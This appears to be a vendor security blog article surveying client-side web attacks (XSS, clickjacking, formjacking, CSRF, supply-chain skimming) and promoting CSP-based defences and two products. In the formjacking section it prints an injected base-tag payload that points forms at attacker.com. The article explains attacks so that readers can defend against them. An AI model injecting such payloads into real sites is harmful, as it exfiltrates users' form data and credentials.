The openness of the web has made it an unprecedented success, but it also makes it vulnerable. As logic moves to the front end, attackers are taking advantage of the increased attack surface. Today’s security products such as WAF or RASP, run at the server context, and have a complete blind-spot for what is going on in the web-client.
XSS, Clickjacking, Formjacking, CSRF, Data exfiltration, and other client-side attacks, make 40-60% of the total cybersecurity vulnerabilities, across all industries — finance, government, healthcare, SaaS, ecommerce, and more. (source: HackerOneReport). These attacks lead to customer data theft, regulatory scrutiny, ongoing compromised user experience, loss of trust, stuck sales cycles, and ongoing revenue loss.
XSS is the most common cyber vulnerability today — and no company is immune to XSS, regardless of which WAF they run, or how talented their engineers. In Google's 2019 disclosure from their bug bounty program, we can see that 35.6% of their exploited attack surface is XSS!
Since cross-site-scripting allows attackers to completely hijack the JS-runtime context, XSS attacks can lead to devastating outcomes, including: Account Takeovers (including admins), chaining to CSRF / SSRF (server-side-request-forgery), XSS worms, and more. Also, because
modern desktop applications are built with web technology, many have "inherited" XSS vulnerabilities — which
allow for RCE (remote code execution). A few examples are:
Wormable Remote code execution via XSS on Cisco Jabber
WhatsApp Web & Desktop XSS with a
CSP Bypass leveraging a small forgotten
* wildcard (they should have used CSPscanner.com)
Reflected XSS and stored XSS attacks have been around for 2 decades, with limited ability to mitigate them. Moreover, the emergence of rich client-sides and SPAs, has led to a major growth in DOM XSS — another sub-type of this attack which is entirely invisible to the WAF/RASP.
The R&D effort for sanitizing each and every interaction with user-supplied data is enormous and error-prone (see DOM based XSS Prevention guide by OWASP). Hence, adopting CSP as a broad defense-in-depth mechanism, serves a great strategy — see Github's CSP journey.
Clickjacking, also known as a "UI redress attack", is when an attacker uses multiple transparent or opaque layers to trick a user into clicking on a button or link on another page when they were intending to click on the top level page. Thus, the attacker is "hijacking" clicks meant for their page and routing them to another page, most likely owned by another application, domain, or both. Using a similar technique, keystrokes can also be hijacked. With a carefully crafted combination of stylesheets, iframes, and text boxes, a user can be led to believe they are typing in the password to their email or bank account, but are instead typing into an invisible frame controlled by the attacker. -- OWASP top 10
While multiple mitigation strategies exist, the single-most effective measure against Clickjacking is proper usage of CSP frame-ancestors directive, but unfortunately — this simple solution is highly under-utilized. CSPscanner.com checks that your CSP correctly sets this directive.
Note: the usage of the
X-Frame-Options security header is still needed for backward compatibility reasons. Use a
product like RapidSec.com to automate your deployment of these defensive mechanisms, along with backward compatibility
measures, and graceful degradations for browser quirks.
In Formjacking attacks, attackers manage to specify the action URL of a form via a parameter. The attackers cause forms to be submitted to a maliciously controller server, and exfiltrate sensitive data such as, CSRF tokens, PII, credit cards details, user entered parameter values, and any other of the forms content will be delivered to the attacker via the hijacked action URL.
The easiest way for attackers to hijack forms is by injecting a simple base tag that will route relative form and asset requests to the attacker controller server (thus also applicable to XSS).
<base href="https://attacker.com/" />
Cross-Site Request Forgery (CSRF) is an attack that forces an end user to execute unwanted actions on a web application in which they're currently authenticated. If the victim is a normal user, a successful CSRF attack can force the user to perform state changing requests like transferring funds, changing their email address, and so forth. If the victim is an administrative account, CSRF can compromise the entire web application.
Many CSRF attacks rely on weak cookie authentication. Most web developers are unaware that the default settings of the
web specifications, allow an
attacker.com to issue requests to other websites, including their cookies with that site
(that usually include the authenticated session), thus tricking the attacked server to make actions without the
victim's consent or knowledge.
generally includes leveraging SameSite cookies for proper isolation and usage of CSRF tokens for defense-in-depth. The
Content-Security-Policy directives do not offer CSRF protection, which can be achieved automatically with a product
like RapidSec.com that automatically applies secure
Samesite cookies, CSRF tokens, and detects anomalies using the Origin/Referrer/Sec-* headers.
Supply-chain attacks are a growing measure used by attacks to achieve JS-runtime access to a victim site at scale, by
taking over a source that is already trusted by the site. An example would be taking over
some-open-cdn[.]com/bootstrap.js which is loaded legitimately in thousands of sites, and adding a malicious behaviour
to the script.
Many modern supply chain attacks are used for Magecart — hijacking credit card payment details and selling them on the dark web.
Supply chain attacks can be devastating because:
- These attacks run at immense scale — basically applied to all visitors of a site (unlike XSS/CSRF which is generally more targeted).
- The attack will probably bypass the first protective layer of the CSP — since
some-open-cdn[.]com/bootstrap.jscould be allowed.
Some protective measures include Subresource-integrity (SRI) which has been proved hard to configure and maintain. The
best measure today is still a strict CSP that will limit what the attacker can do with the JS-runtime. Sometimes
frame-src or limiting data-exfiltration could save the day, along with proper CSP reporting that will make
sure the attack is detected immediately.
Attackers achieving JS-runtime access via XSS or a supply chain attack will at some point want to communicate with a remotely controlled malicious server in order to exfiltrate data:
- PII / Credit cards skimmed from forms.
- Tokens or session cookies that are accessible in the JS runtime (make sure that your cookies are Secure, HttpOnly, SameSite=Strict/Lax ).
- Any sensitive information in the DOM (think SaaS, banking).
- Dynamic control scripts.
Protecting against such exfiltration is extremely important and the stricter the CSP (no
* !), the harder things get
for the attacker (ultimately closing the attack surface entirely).
CSP is a swiss-army knife for your Client-Side security efforts, that can block out entire groups of attacks when configured correctly. However, there are many other practices and browser-native security controls that are just-as critical to properly protect your web assets (proper definition of cookies, tokens, and much more). OWASP Cheat-Sheet is a great resource to learn what defensive mechanisms actually work. If you would like to automate the OWASP Cheat-sheet recommendations, check out RapidSec.com.
If you think I can improve this article, please let me know @Shai_Alon.